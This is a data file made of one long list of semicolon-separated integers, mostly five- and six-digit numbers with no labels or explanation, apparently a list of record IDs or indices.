28345;51599;15537;36420;36369;79291;95794;91511;37453;58133;89274;34604;78395;12516;47325;87902;16555;103999;30954;29567;51632;67949;31865;91532;41667;38402;95840;85979;26199;82877;55056;96805;101276;103996;10283;74916;14573;39427;86185;37557;97788;55168;21389;50214;31769;55795;51612;74229;56530;57421;71231;11677;22717;49386;105019;53982;28367;90739;37394;32876;31542;25650;61246;21473;104730;72575;83700;10187;106990;16756;72716;20026;33906;62807;41630;85720;65092;22421;96523;39365;60049;56776;62009;82433;93257;78840;59379;50784;27345;91542;71191;51261;78403;37761;70968;14464;90314;10275;33130;21472;90698;21833;86737;82377;103506;104403;35480;93392;51839;51391;86529;99644;36828;30309;70536;11251;86773;22550;96810;81031;93406;80944;60288;18087;96666;44387;31618;78156;63337;86685;75417;79759;72650;13569;102519;35293;81738;103190;50463;66117;10497;31055;65999;59196;94747;79344;87490;38308;51987;85282;60028;28281;63834;89005;30426;71054;60135;95830;44230;75194;34140;41925;15854;31612;64582;96722;22196;71668;60046;82731;81735;101696;47403;35528;46823;75136;21299;85243;75120;87939;73977;15981;26814;77254;18229;27185;80675;65066;62530;90426;34548;96277;29291;24356;33958;87101;88964;24008;101694;73032;74137;76181;53954;93243;22417;20768;19417;57431;40642;102726;16578;24350;39391;65472;30371;78649;61831;45652;38029;27443;100754;45014;104947;103695;39710;75482;24112;69848;94068;70018;13334;95602;88441;87463;82046;39047;103920;61327;36308;15206;31654;93396;21923;77322;53354;51417;95589;27598;14232;25769;12847;96043;86555;51374;23945;42113;34089;93581;85424;58148;70681;71429;100182;69684;76355;16229;26710;92269;99641;91486;52215;86470;86938;25572;18641;77320;100116;67625;79753;25179;15026;103984;55091;15275;66865;15523;39847;100684;91001;19284;86016;72742;14646;66828;12254;21104;78203;82268;60697;103289;76434;84313;58549;79439;31576;27509;48746;59928;44501;21163;40640;53616;32059;96192;80573;46731;92434;24516;69740;83134;71598;78278;60731;100949;74882;27484;96405;64066;74600;13607;69400;22780;64213;25763;50288;50313;22462;31571;16322;24336;100235;41242;23449;85026;49588;65312;34473;41246;48451;74790;73884;19931;65245;97885;21921;73133;33858;30401;40383;59814;17187;67243;80963;102717;80353;32478;59300;44834;37625;50654;79314;92951;75982;94539;26644;16477;90175;97273;76183;53273;97245;86598;93985;22555;33558;47502;24091;86145;61141;77143;21943;14411;58977;10619;86282;41565;75700;73437;83006;14212;92415;69744;32563;81910;11040;47154;67603;60069;39142;47781;61832;106592;18453;90606;28560;68218;36259;52074;56594;15471;94377;34406;39871;42819;46797;102081;38396;75502;12896;79050;22134;99945;60124;80539;53827;99289;97663;102470;73718;16654;20656;62281;25620;81787;57430;88417;85962;32853;50944;42135;103404;12106;16853;73367;15162;106923;14081;30291;21136;73574;32679;31157;27577;39640;99388;91930;39291;48754;22323;60456;11711;103385;102951;63853;102391;43503;13046;104620;48672;59116;77533;12236;83198;24198;48519;81637;65064;88014;75819;10272;40428;31409;59146;67210;101324;100570;24430;81495;76701;74963;51497;80263;16373;28090;10215;91766;42539;45462;68284;85486;96845;64162;70732;86283;55600;49973;89534;55943;43587;15718;83535;44876;36799;19999;50981;53106;17771;24958;68519;15497;23470;72805;32141;45302;44526;60499;19979;47490;28711;20980;78374;96009;12294;87623;52179;83857;43647;33574;81994;19596;92062;53943;45320;13683;35957;93173;13433;12864;16179;39333;39982;87513;36434;31483;65338;62687;65821;37711;27679;42110;40837;92486;62265;56884;23390;56000;55458;30511;47255;99460;89657;22249;63969;67405;29016;69556;31372;92133;82674;56795;100677;23515;76552;91073;102676;26658;23274;58586;100419;14340;75614;18426;19092;53885;87552;66322;87239;60389;101390;33686;30181;23297;15229;46349;37562;56336;106029;70464;20672;51073;20286;33579;89995;53144;26322;97760;13111;15428;40673;53583;20894;37560;50147;46383;28972;106620;34541;41960;42796;30726;25687;45953;12414;70203;87052;102650;88070;68764;85656;57938;64200;54448;25558;105095;81876;79243;101136;101989;23629;93850;94514;43233;53728;49843;33796;45087;28763;22189;87412;94819;23636;102033;35264;67922;99624;31031;58624;83825;30849;14666;27396;70250;54935;67339;38810;89876;37971;72980;76931;17719;70107;62951;86202;61947;44434;75525;68501;74710;58094;82204;30048;14713;37571;104530;95787;48860;31380;91144;42245;82834;32946;35015;39182;19235;92121;78723;50977;49782;107061;43955;88526;18079;87047;76142;67646;106821;24289;23141;89957;49870;37449;71822;39086;92317;89809;72300;65856;39997;85866;60304;78583;67279;75133;23985;41433;37563;31145;56503;17287;81852;100741;90968;42902;95853;106909;34996;58349;37546;20050;17129;72027;50481;38700;84274;76451;65927;74436;91336;89755;63427;68812;39849;89265;42023;88579;87179;57746;91937;103612;105893;30681;97906;22432;42466;13351;32173;81157;67997;15637;19083;15381;46657;51941;29602;80600;67934;104635;100243;36030;35917;100386;105892;17432;92802;50149;30965;77255;18283;97020;41656;31596;29249;43480;15499;65229;45738;76904;39416;37392;31046;79468;74830;11161;92051;101001;46821;91884;62407;80394;48497;13099;67893;89475;29994;20315;84564;85928;36760;22968;97882;79575;14343;72468;59419;30805;56438;80832;102458;74511;54154;103534;56016;10191;37131;54914;21674;36354;42088;20853;96938;84775;106717;12426;73914;17013;60601;31236;68949;55015;97344;36364;60090;71023;26695;91976;86210;84935;59767;57317;92366;35684;51858;59932;71911;38655;28892;64196;90442;35776;103732;84091;101679;93913;57079;63054;106713;42018;93158;16803;50978;16600;60026;41734;81199;25303;28339;105902;24885;92388;13397;93556;21275;97500;62616;40963;44937;39884;71140;79094;66222;64117;67324;78291;42795;82695;73496;84901;87177;22480;22145;55892;14968;17742;18923;76312;79717;53148;21074;62517;102910;60673;58009;81432;81095;43604;84018;95006;95029;97580;10923;42164;105861;64160;16035;16944;84522;43786;35141;38494;58255;34868;86946;13118;36521;42570;12039;62472;20117;81660;53128;102980;56958;96579;18998;81458;32404;35114;67125;68908;47401;82202;64981;61853;56825;89304;19725;46927;27352;12814;59647;34361;55639;78732;12572;89578;67315;79469;12593;94811;20485;66121;33576;52924;28687;61324;86904;11780;26446;31974;84676;72085;33061;53951;34752;12218;67166;78798;47801;54097;36005;100897;58458;64782;44034;82645;69855;87356;77888;72889;70079;100871;67609;44383;86686;104980;54776;94420;18917;66598;22275;84591;71740;82041;54334;37893;68507;84925;95579;12325;77478;54814;35204;76433;19508;15708;57007;34644;24173;29358;64204;35418;83498;71489;47133;77676;93566;51526;105607;25511;105060;83829;82478;11209;45421;102269;91620;42120;86204;44235;43219;27232;96679;75425;33206;67322;50506;106579;37472;105652;105974;66937;101211;107075;61510;35202;17768;54438;74070;40995;32379;58344;82859;21752;43405;46605;47152;55139;13200;61354;90831;34491;80202;60687;99018;45992;104972;58661;92416;42978;50354;102788;28332;32726;17355;17072;15607;27582;15312;91022;33313;38855;47103;57030;105560;90294;78011;101362;63499;35388;91000;105042;14722;73821;11927;71488;54429;66578;57387;44816;106927;45478;40350;45547;81153;47770;24633;101345;49092;104183;74019;79908;27855;57753;97565;19800;102824;94954;55584;51965;53005;66670;59897;16459;55653;99873;101060;23116;60305;94906;93573;71916;41083;61714;95471;59786;18813;90997;44021;89371;103257;73650;59208;34768;76326;35467;22683;40886;42751;84999;92521;46396;38688;69423;10445;38473;83028;81300;16883;61331;67592;15512;56969;67420;94595;96912;38023;32184;80984;106875;23501;22738;103778;38306;11875;23886;37115;100487;32721;58333;90242;53400;89685;61400;29352;58342;72436;10762;104829;96467;97306;50164;42976;200016;103439;14131;34091;42709;77416;106146;106605;50893;56032;90107;10362;50873;23445;44926;96044;20642;81156;70162;81525;38398;37652;27931;36376;80684;91621;73388;42626;23612;29309;72259;48190;105026;90357;30390;83965;21446;47622;29143;17989;59721;68071;94136;36078;45471;15071;65297;10312;104593;11839;72796;89443;79258;15010;21814;65211;80199;58708;28400;103251;41831;25153;25189;102618;36013;14321;55407;18771;57123;81583;31857;104052;50042;43158;66722;54831;38290;84958;23420;29128;44594;55025;20150;69453;15231;91510;24699;86099;52487;67442;81113;34850;53640;54366;38187;99903;25487;95833;66773;50617;54274;96303;86046;103677;66786;88519;79126;26044;103485;31550;83988;74841;41896;55152;28645;23316;28910;73988;51440;57358;103623;34738;33230;27023;200060;34236;103771;15735;14220;37395;12117;83315;66170;16466;76004;47551;31587;56533;34720;50109;21202;60485;37235;69809;92405;87748;91171;71920;58044;42833;38055;74568;11357;36662;87883;88677;65076;58507;16481;94237;30237;55169;54456;43344;31000;84561;21791;79876;20934;36287;49470;90828;96748;28837;95566;106420;36124;15212;87958;83798;101703;57077;15293;52263;105678;91079;16514;94181;35769;24242;106537;54018;44252;53781;10668;96937;94262;99028;105113;15451;51819;51171;55012;59090;78794;70831;69384;87741;81998;27202;67682;72182;75361;31083;11177;10077;61359;65970;45817;85325;84725;13831;63453;11832;22644;64303;27426;46863;87638;81136;22408;22456;13755;29336;25109;25787;54121;28174;62613;104421;38014;17103;100564;55820;31184;21795;96485;101444;14672;11379;34708;81665;71225;81236;99657;105642;36343;43009;50250;23561;49813;78973;68017;26708;56282;10302;15436;64081;16574;15816;14853;101439;107026;46920;61285;92979;88472;87330;43265;84268;39353;41140;106766;44397;31873;84221;21727;50136;59241;68471;76589;102253;80506;30658;11162;97881;27627;104842;72504;60098;46479;83681;77584;71299;17839;13991;64634;77068;92867;89014;66339;48797;80867;43056;24381;33406;54550;80068;46609;13378;104996;65808;90946;36555;61199;70046;33507;30891;77625;105715;87165;31277;41449;19747;14181;39313;77889;59683;76468;105495;46549;49175;55986;97091;81603;25866;10389;60105;10437;97287;80296;63966;36216;58802;51802;60195;83461;96053;78074;63886;14709;42635;38808;13533;51986;45496;44743;41803;82997;26289;58900;60658;100315;92986;21014;24216;74546;18991;53715;106191;78836;19752;22835;103835;87759;64193;68844;78103;64406;46069;61338;20069;83422;46532;81569;68463;94596;34383;89165;84777;106331;20963;16028;85788;31683;89971;68673;82738;16157;32475;30613;26084;72787;33223;70531;67822;19009;84779;51211;53472;87017;89965;65597;41125;25294;21158;74689;52190;27384;81071;23978;56755;42719;87802;14880;46497;43203;65378;47364;32693;95465;34722;45158;104097;77440;58295;86270;106935;67016;21592;52748;80946;94757;46707;23002;77783;64648;70218;85075;33817;104548;21087;35985;93065;42068;62741;33356;96393;48252;68442;14703;83166;45793;92508;19335;70989;14208;42486;28485;80746;63372;49118;86360;82948;78051;79860;25347;73280;24598;58654;41976;28283;20896;82745;52376;14735;88580;106828;94855;76409;87977;61176;21050;50584;82863;44529;72858;23669;58359;101009;91586;67162;77771;49433;83787;76546;99376;28347;48320;27834;30925;75167;47640;56406;91014;38115;50847;26821;29265;70942;16552;80981;41981;61434;77247;48766;41177;13861;101268;49419;63429;26445;94263;90779;27966;68560;59846;95352;83717;53971;42779;73881;67043;53926;37325;85901;63590;67797;87438;70434;101717;70033;74291;93804;45279;26387;66790;99775;10314;94671;36303;54895;27447;41847;33392;74495;14211;57480;44166;92942;82465;33053;42577;60129;54974;82180;31897;54903;10299;57654;13019;90550;36504;71190;92980;93415;43745;25702;65363;89848;22334;93501;75264;74780;52458;47009;67107;55954;86700;73636;97006;48432;27753;52836;67403;18399;31107;50183;13337;38710;62570;28953;47774;58365;88429;46635;27943;19242;67576;43258;27110;95851;55313;83429;27701;22620;52920;49408;67250;88669;94524;16342;46316;83783;27634;21162;68502;72440;24684;81433;104221;57344;56440;99888;96903;32161;26343;61481;42365;71046;18832;12543;71981;103395;17400;48718;95789;85212;43680;73559;52687;91536;32630;75584;89101;106536;54443;47571;42845;65710;32832;81015;87630;16595;22325;50450;33207;106182;35052;86493;85331;61014;87539;96427;72595;36168;89214;37476;79461;22592;78303;91949;37540;55964;19227;36897;99830;46182;31662;29320;103326;79132;82300;91609;54197;84900;105775;74699;95782;53311;73173;82828;82686;13971;102077;26648;46647;28875;56777;46764;95979;35225;47026;68706;18226;76005;62168;54059;66696;33341;63329;11107;55729;66356;50906;68108;66813;10101;79734;58918;62297;19518;102555;69850;32629;70763;35039;40776;106145;77178;15533;24038;55327;49435;14584;91380;19519;77420;60039;44877;35501;49849;26424;25156;96462;87015;100506;83092;101936;37867;27072;83141;68255;106992;97593;71426;89017;16497;84624;50547;91447;17626;91523;104214;57436;87336;21131;18481;47570;80603;67771;62028;79078;29782;26057;104414;57810;38526;41025;54920;93922;29595;13139;87925;103453;35851;11471;20638;106187;19516;86359;21297;49074;18547;43220;54968;62302;85522;50483;104853;68783;57743;22455;53086;32150;66648;67049;17166;88829;91033;79684;15396;72420;79804;51321;45697;105766;27467;81442;21914;101723;92193;62681;87061;100271;17804;62081;45250;79690;43463;39356;78071;62658;30066;65372;78863;59278;40203;17748;54735;20715;57546;53556;13035;50814;27828;62820;21253;58123;40394;27419;90748;41027;59992;47207;37819;103053;24152;58729;17259;59507;39461;86831;13711;65212;90235;86331;36640;53103;23253;40946;15581;62645;72989;99394;40859;18529;104213;94012;53289;65093;36043;14486;65623;24158;53538;63489;11417;97446;46445;25290;33706;81268;76495;30250;23070;83297;105433;106453;20753;61852;16878;35162;18938;22845;37653;61015;104613;16679;75683;49225;60495;50692;49184;58664;88799;72411;15776;38966;48670;100953;85237;92688;58272;39563;64747;81519;25056;92257;92276;38995;22741;84235;19856;50115;25890;14741;30018;55503;50435;39991;71678;62197;94083;40340;18103;28962;94640;73154;87979;85303;57900;78351;31321;75948;14161;56106;66897;37359;38579;79205;54359;29659;93638;71733;22961;18301;106884;92478;56630;79374;64975;91226;76990;60584;21556;95595;66930;80268;24820;100236;101302;19134;92511;91085;40658;67547;64299;69295;62998;63750;62759;50097;31252;63424;57461;52257;99193;95340;97606;70759;61122;84477;20584;90908;16272;13473;35792;34321;17794;73189;24329;80219;17557;103510;11546;83604;99630;72130;30734;20518;82906;106479;34777;43411;22254;57197;22418;72127;16486;26340;19140;96687;46967;93480;65439;102541;76473;16526;62355;70409;58141;79996;50651;25039;101673;76744;14163;77425;43031;39165;91074;17629;61242;103690;79405;99375;33161;37537;37430;89709;82880;21122;105796;63413;17623;41149;58327;88658;65349;103969;42478;26907;93596;21654;16894;89117;47136;60502;86377;55782;14285;54668;44524;86133;20385;75828;99270;81514;97634;23056;90025;55887;74013;19029;99176;32252;80255;81702;45510;32586;25700;93847;34761;92154;70159;35899;44936;106140;92228;69688;12719;102345;70517;59098;94116;28472;22485;61800;28369;96920;16143;67332;91657;17706;102049;65888;59622;73633;77927;22841;17627;65382;65285;103950;65724;100019;86322;97961;17645;66797;23851;83190;38240;56334;31788;14785;75862;56751;96910;29593;92422;87430;54497;53811;19035;65524;47863;27905;48356;13229;64222;12673;19031;66147;32225;71841;51241;90196;47388;49326;71808;41315;93061;77449;66979;18544;64487;32519;18034;82449;62417;25555;28432;106073;104507;82298;15870;15326;76887;11007;51996;37226;34650;16943;85731;33691;30919;106190;65478;36652;82219;35525;100866;87395;85436;55140;95691;48305;24214;102113;36229;28257;11348;90274;37662;58809;59226;41209;59997;89221;31143;91105;85587;79215;25537;47240;45973;34921;39466;73941;76212;92869;76252;32345;30313;72540;73711;18919;41328;104774;13155;86432;74468;56147;88894;101799;96306;23868;61471;38684;71737;51114;58632;51514;14963;53071;39389;50875;78461;102823;46027;11311;15009;25907;34216;86412;16085;53963;33399;46526;90350;50318;23724;32932;43146;50986;66588;90397;53720;80115;86228;42609;33815;17976;88578;10043;52833;47734;15874;92667;29996;47307;85373;47017;54638;69452;82217;103780;89492;55185;48834;19472;101440;89113;16480;20110;78920;95765;101438;47681;18941;80711;84747;68695;27570;56306;25894;47533;40975;106940;79222;46364;78108;61768;106282;26080;77531;103809;95431;64236;85292;104482;73234;79531;20304;57521;82914;27751;35896;82473;69444;49405;51206;38298;70873;99615;63051;38342;28771;55090;96535;102526;70097;88664;18783;92949;55080;60605;21941;46574;47742;93408;50995;12910;103585;52440;65426;31006;80178;70357;59006;52818;30248;99073;62162;92378;100292;40840;76899;12256;76308;30265;90319;12969;104658;38589;12834;78072;56307;15130;52382;61695;105130;89292;79511;86858;42987;93388;52774;88626;104728;10993;91404;72880;88852;37209;96031;73191;68496;24845;56737;74187;72295;100573;25249;72534;75086;76965;47516;26339;99325;45629;57616;73080;73155;19347;31496;59539;74307;46304;45293;27925;36998;24619;95716;40177;84760;16243;24007;10724;85402;58476;103645;75900;58908;35555;78482;55177;33219;78431;75309;39582;87705;51820;49540;103944;11482;35843;32232;23782;96902;17018;51832;57629;14225;20341;26496;61795;85852;87058;18797;36856;42107;83776;37677;82395;64208;100766;105970;27226;86445;91649;73337;102088;52712;101113;15304;67183;53829;43286;104498;87397;43713;26643;27676;43618;48950;45258;96608;90289;105870;29010;80589;86927;82276;32400;44740;65434;51600;105595;63221;16384;96585;35240;85394;40604;25862;49368;30140;73734;84370;65115;42993;32893;97844;101533;20773;43767;54970;101479;37513;19874;103180;34736;57283;73343;105346;55752;79512;64329;28280;99350;59356;94492;33160;70867;55252;29150;97891;78399;51356;28937;36263;21270;23061;106996;79873;91250;12817;29966;30655;22867;56981;58707;62049;28408;67987;82212;59596;75123;78804;61492;21868;28045;103902;68345;19157;48242;76373;106057;66900;82792;41999;52437;53570;82228;86739;53593;24511;93952;67357;79057;63391;88910;66127;34105;78295;79956;59743;100913;82700;16303;68550;37266;32553;78333;48920;36528;92439;84479;48230;51642;24606;68599;74966;92233;53575;46724;104169;100025;31013;25692;99335;68127;68758;28006;35715;14089;82259;63982;96620;19557;85594;50121;70439;96729;25025;104424;72225;50555;46115;73699;61491;69926;40020;17994;81967;19048;87800;62287;89757;24156;53945;100065;96605;101403;68009;25562;35579;79153;67123;24506;61729;97830;72421;33583;21631;40535;66351;15992;89150;30113;102584;35539;22047;90763;60902;35652;80131;42803;27756;33176;68915;46631;36763;45594;43070;72286;72084;87302;29821;45597;27633;64091;101042;101991;39685;22251;68650;33272;103365;91257;51706;79542;34106;97461;50101;86650;82855;46783;18195;81250;102753;85999;39163;103444;81007;85977;15814;33424;95007;73880;59714;50526;77698;18851;40949;74708;16430;73111;83209;68893;44257;31180;28855;11109;64643;59109;58591;97299;23930;29280;85346;200104;22108;63659;22110;16658;18553;44029;22476;78141;66001;104453;92475;36611;65017;66054;76951;20232;74095;30844;22439;69008;105597;15876;53238;76458;47716;99428;79324;30157;101051;58711;51304;66734;42308;73157;19363;45308;90374;63114;65455;93468;76182;18599;85338;51443;31499;27901;92018;85590;12459;58739;97408;95881;24540;17672;63246;38916;64371;39839;97514;66524;102133;66753;102127;38395;49643;64173;88555;16589;13841;60715;66000;73365;90485;16218;30445;56913;58471;77848;88924;55471;18052;101337;26032;17671;76748;19172;32096;71037;11898;66941;86692;59800;52004;63773;93284;51410;72502;71777;92471;54041;107042;86876;43930;76933;21138;22983;84005;92365;59945;59140;41199;65950;83457;21488;103103;62912;54188;18791;12112;10049;67025;64866;14627;60231;17611;11822;74684;83556;15388;46460;102989;40880;29695;34942;13518;46954;15167;52232;14637;91710;76849;51003;17297;70701;22799;72657;27407;14011;101512;90332;89201;92635;101210;58947;13811;97648;51230;43180;102828;57148;100957;59640;53625;66907;102551;39844;41465;101617;88424;48810;97265;99009;64287;44981;36412;38780;39601;37232;93286;57133;21394;11892;87646;64843;27791;15041;49754;41138;91703;18371;68045;77042;49688;105696;33192;106781;56529;62213;59655;82634;79999;57106;101776;63565;71685;63913;22554;13393;101917;81394;70359;13696;78131;44081;51567;92150;88846;18628;15950;81239;35864;61789;97867;54758;39407;20075;95946;61453;95268;83381;11970;89432;100686;74207;77544;20048;37565;58292;95398;90407;74875;19881;18378;86709;11541;72953;105585;75124;41694;94863;13732;78313;46521;14398;102418;19340;50826;52883;75043;89407;34246;16935;39812;19499;41185;101953;83525;50177;12985;48201;19915;22910;55949;78915;102662;15687;84535;25242;94844;32428;66296;60065;62102;62963;81283;95887;14664;57486;27805;36664;88838;74285;29522;93259;13189;80005;58374;84812;46153;32496;60396;42307;106842;64298;84996;56695;27164;101811;102384;55280;61226;20921;65889;71103;69963;90538;106023;99612;34695;91038;97988;101510;44059;21845;53671;14142;50604;37033;62313;73619;102435;73540;52204;46045;95711;25111;72014;40984;94288;81402;87530;25795;14897;22460;24442;64752;36839;23602;103924;69932;47323;101824;99299;22636;99875;27147;65385;27010;85970;62886;37308;63640;10698;82379;68286;78582;47141;36161;56163;55903;74247;49149;76758;18580;53054;34687;23621;73516;17054;89766;14284;41594;40124;42109;57600;75281;69930;70850;96381;38792;33835;43483;80167;31399;70780;96129;66868;38744;105093;19449;25023;97409;59046;39166;49279;64340;30035;74526;29820;104758;51372;63423;76411;35818;24127;47606;99435;34813;23074;99576;21364;45369;61494;11082;103070;29827;56842;97709;14581;43206;76635;103587;33381;23572;61690;22199;83153;37012;33316;27124;37980;53481;10179;61908;26735;18814;64252;87357;39825;78627;89228;81093;57996;17985;33662;33528;28169;13590;10257;77647;16762;53177;42772;59617;14654;22143;97068;23997;76445;107134;52477;17511;19551;28351;70358;88600;99731;105594;34528;94374;53736;73989;90135;92394;50914;106539;12238;43304;23972;97093;68663;44774;67069;43517;64136;74738;90931;83354;86818;79336;95364;66728;87766;103839;88493;86518;61335;92718;23893;72294;65365;62610;63115;47757;68276;20280;105135;104677;83849;35084;69024;91770;35451;27810;106410;39134;63381;42108;51153;84251;25043;81388;32455;27138;103960;51400;25493;12445;17407;79889;36924;56241;78573;69613;25113;60845;104946;69912;31475;42342;43724;48458;100975;52461;79635;100539;45586;53055;17831;36718;64338;105110;72314;26212;90379;39545;15246;82162;57105;85427;104933;64571;43932;51342;78437;25010;86323;50098;44931;39959;40919;92273;70829;54822;60969;89798;91161;69959;81339;33515;44739;67031;32735;97415;68627;87166;105434;86882;74933;53058;99309;83081;34953;100946;76215;102533;67557;200122;57122;53115;60070;53167;13301;87634;39250;74448;20115;65937;105862;64675;71858;89967;30141;103838;63320;106528;67653;78429;45152;90026;63618;21004;47503;28843;55647;74467;94063;20566;61209;32388;59103;53330;59629;29134;28598;12059;103027;22687;26000;55480;56740;40741;61838;92888;10838;22320;30641;42324;66476;25627;37260;69700;85936;43662;46729;75228;69038;55490;55712;23833;12503;73682;77248;40791;22773;53191;83990;34074;22006;41878;31522;80656;57309;34705;82765;16554;84438;51067;21185;95935;45281;63262;77128;32526;85583;53064;87415;24868;85314;87020;68531;79350;103881;104868;89075;54350;100768;46683;21117;85246;10050;19094;46377;81730;25805;34914;56168;72247;83586;71045;46422;63182;71903;15450;45083;26949;51683;69420;27549;11152;49494;20410;80679;63314;68716;100094;87026;47353;60916;39331;22937;18178;40137;95601;35003;79484;61581;56517;50554;81595;41396;37215;36519;50449;41865;17212;88794;92542;71166;29805;54741;65267;25227;28652;17569;66284;51050;46453;47085;65258;74249;22116;38149;90471;106090;49129;49646;63744;104282;13323;15914;67331;32906;28704;70883;80008;92654;16283;16318;35802;49014;90315;32780;76621;40935;93255;65899;87155;99068;67761;11932;77415;33952;32668;11010;29469;24945;35366;29730;44281;97829;71012;89448;39447;42205;74607;16720;26946;105441;61806;82301;30781;35931;32542;42138;41959;51785;11587;64801;40058;60917;31593;100819;38702;46011;12000;86225;18597;29963;13452;100899;99564;47887;58363;46080;41871;29184;57170;91399;51856;104721;42475;91584;63692;28607;10423;59195;64921;12535;33996;21159;63063;24967;55265;90486;73504;34586;105800;80390;55579;33669;84208;55247;36241;52708;16908;47745;21886;61601;84266;105609;51117;61786;104639;58466;27772;21882;67660;99631;76513;65183;56083;15669;53528;40378;95286;90566;38527;106175;42347;107054;36095;34544;101820;70047;105973;103918;39776;76014;105413;84142;70011;91942;55595;77284;70040;77001;89703;21606;65981;62180;68830;67423;104582;16123;26016;35940;80313;60709;41892;79508;93948;37526;54372;10856;91530;28101;83417;52186;13369;29028;67655;102801;86779;26335;37738;66177;19421;88749;64825;83094;54277;56683;103340;54227;41843;45007;49756;72058;76937;32075;38829;51328;28701;83655;43996;104257;37146;49602;99165;38021;58042;31927;41203;104570;49262;55241;51218;62547;77573;70958;73867;42251;52445;35248;27394;100606;27874;59399;24896;22399;55071;40302;55993;20721;105294;74213;76006;80772;15224;75894;75756;71850;100138;67481;93434;38942;17996;21730;93645;99614;38918;12485;18965;101998;69023;19280;81830;79301;62336;69080;67373;20973;36154;49919;90347;60593;76159;84165;45848;27876;23282;88731;34102;97422;88844;61258;105630;106213;101906;50186;68624;77620;28094;61380;38531;46336;20441;16996;86838;29925;44574;45191;33999;60334;105487;19460;106285;89361;14053;95582;24560;30522;23555;84409;40456;24197;15289;22165;53091;93527;57992;36245;53210;83803;96002;87250;56925;31976;24146;69646;82800;81534;72916;47574;27904;29843;84849;31704;59045;71089;102390;85922;55223;81931;21849;54817;76875;35755;62452;20789;52729;79673;54564;11594;22939;52425;95739;77397;78834;25917;69725;69134;46019;56290;87163;13753;61560;56578;67762;18980;89618;82773;60574;24636;45004;65316;20384;94376;95554;32342;96881;48914;54395;41486;72096;32144;12240;106451;11490;10192;36753;59573;32916;51197;59845;51631;96378;82865;83663;34807;23675;90662;23079;56641;29381;93961;56187;79170;20107;78204;104006;104402;50080;79429;31617;25942;24359;55133;33570;50151;85501;17468;105665;76116;53425;58012;30352;57195;96248;66072;107037;59681;26474;29230;86226;76038;65081;46928;21369;33325;52353;33597;63705;56814;35394;106443;68355;101707;15238;56982;49028;106462;23089;84181;18358;90414;82190;68312;85258;90940;57590;48802;62617;105664;41563;36372;14376;94365;42869;31240;21151;15591;43694;82351;61502;33814;55688;17036;81240;69293;61810;79810;52420;45033;59074;76998;101118;11576;23468;94575;93206;24096;15371;32713;39025;14254;47381;18542;106059;19131;43773;49604;69155;46400;100780;50936;93624;40780;38057;79520;100494;34621;61322;82326;63560;73510;74372;94182;102433;34929;32619;105732;29817;22754;38279;19717;12756;39426;105205;25216;96402;70676;80119;35205;69347;26744;97700;58628;44790;104913;61181;36051;64244;30255;16707;72545;35745;13426;60950;28273;59227;76042;66051;63340;45711;25524;14507;40035;101197;22369;19112;47064;102306;11287;18155;17404;50769;101945;82546;79422;47022;70497;75838;103852;65519;82896;91439;38560;23584;49699;25108;47242;25589;105351;75936;76277;101419;29834;80264;103100;34349;103420;23000;26560;61580;16456;93460;27554;38325;26172;80939;41412;85144;59267;92794;11622;25191;93039;71548;48527;25593;72973;65327;33990;25454;11220;51193;18148;16316;91844;69128;13616;24800;96058;38174;60278;84046;82214;22400;29374;87942;67794;102006;24073;17414;65985;23268;80487;77263;62735;89946;31507;23693;25574;40082;100627;70302;45712;76762;63440;36025;17640;32778;20865;24841;54698;80768;25434;92671;91211;87221;91917;75225;47667;73448;103468;75262;11313;107029;39954;80987;89925;28559;39589;102147;61559;78525;69547;18549;84965;100161;61791;38662;99964;31651;58909;40988;22420;59149;106284;42941;104741;94430;63117;61513;65816;82583;73314;79607;33167;35688;66221;82150;80002;20702;80740;61164;60372;57689;94290;51518;80872;76276;104993;62035;20661;25815;56886;95873;43048;72375;70636;96448;53401;75825;28688;66833;73831;36370;53416;85986;32959;83455;60535;56687;25849;46558;17125;100694;36008;86433;43290;89204;41233;44228;31934;71484;54198;96576;83476;12876;46743;68902;81219;28474;10254;97137;75820;33203;70509;11788;105836;72867;84319;106481;64723;84162;21922;51320;81102;105266;39305;15270;70260;49086;36447;43450;89036;76833;20321;42059;23028;99567;83387;38608;25406;40666;34193;106126;74698;92971;35137;50517;20751;49237;44156;56739;25510;69648;69137;58594;66206;31514;90246;87230;61859;36394;58422;52374;59676;97602;27439;91669;12992;53397;100054;11351;91172;25576;23164;30848;59892;82788;97369;77640;18168;43235;43166;62255;60497;71615;65355;71273;42968;99695;65857;28996;40022;90087;90646;31001;32457;87747;38961;13388;61636;38990;12067;33522;81842;69892;64268;25001;55037;68995;12268;31319;36426;105626;46953;76974;31697;67146;36056;31292;32284;25938;58202;99178;48378;12886;95395;16969;100106;81771;91805;106600;17785;38178;24292;103362;11369;85132;65444;73705;47088;75400;63811;61159;85269;19663;96880;88092;32808;83659;40135;61256;96038;22013;42700;51750;60910;89910;48639;46052;12324;14459;41877;55816;59461;73127;92292;41361;55546;33477;31450;106712;27107;16339;104203;74964;91810;36788;16124;72641;65760;59450;90773;43867;14779;27663;31969;80221;45178;12783;94304;18969;46903;30762;53692;87936;17105;41684;102627;67890;26293;58415;53905;84437;97997;40377;76698;96647;89963;85213;60703;12425;77428;10697;79857;51495;91156;67465;76078;78021;40362;71964;80634;26954;106966;62132;65890;101077;55920;105883;81841;57471;104071;63551;102095;14278;65504;86754;62966;60352;14360;91913;47610;46369;31258;88647;57943;38675;51905;70356;49151;87340;77525;34198;47539;33703;36329;21785;83636;29956;72817;66056;27062;78379;51146;21611;24869;102376;94633;90936;94510;86465;81482;14860;72389;27369;43938;28529;68582;46148;90342;93001;16518;25939;78205;61175;67570;42899;103725;44106;68636;58689;50131;87171;73097;26525;56649;22046;16860;64603;55621;71712;24899;27685;82512;25112;56732;69269;61778;81888;30211;83815;100221;79229;77016;94772;31609;91821;102003;23041;49955;90141;18658;14091;83870;32479;33241;32961;79659;55728;35041;73568;103281;29769;30616;23644;102110;89926;69663;54054;35724;64234;81802;43548;10376;49178;84543;45069;105116;29044;48723;24454;47623;33393;19274;60932;77335;37960;35372;37778;20606;42417;93222;46361;10892;18893;105063;76944;74564;14148;90366;21599;58002;14861;18219;18053;53725;80542;23940;97099;64353;65701;57944;22328;102842;100443;28321;64622;41372;44406;44636;101121;22065;18865;87153;49861;23277;47441;15116;67714;16294;25967;65341;44976;68487;58599;41568;59528;59917;12763;26659;83029;15972;12036;81843;23829;39257;88163;24790;88017;13371;47484;35120;28999;56809;76180;73703;37094;75068;85978;12101;43197;106357;77034;75573;95983;39654;96872;99242;75832;33872;51666;18841;74612;105470;14604;80652;49800;68330;89518;43854;15019;14972;70115;80187;10405;61910;39081;13026;17749;91695;15900;50562;19206;44102;58784;45318;84205;99171;100477;83239;28342;38985;89223;29531;24981;86239;19486;14727;81862;79161;35121;65388;100759;100437;84375;81668;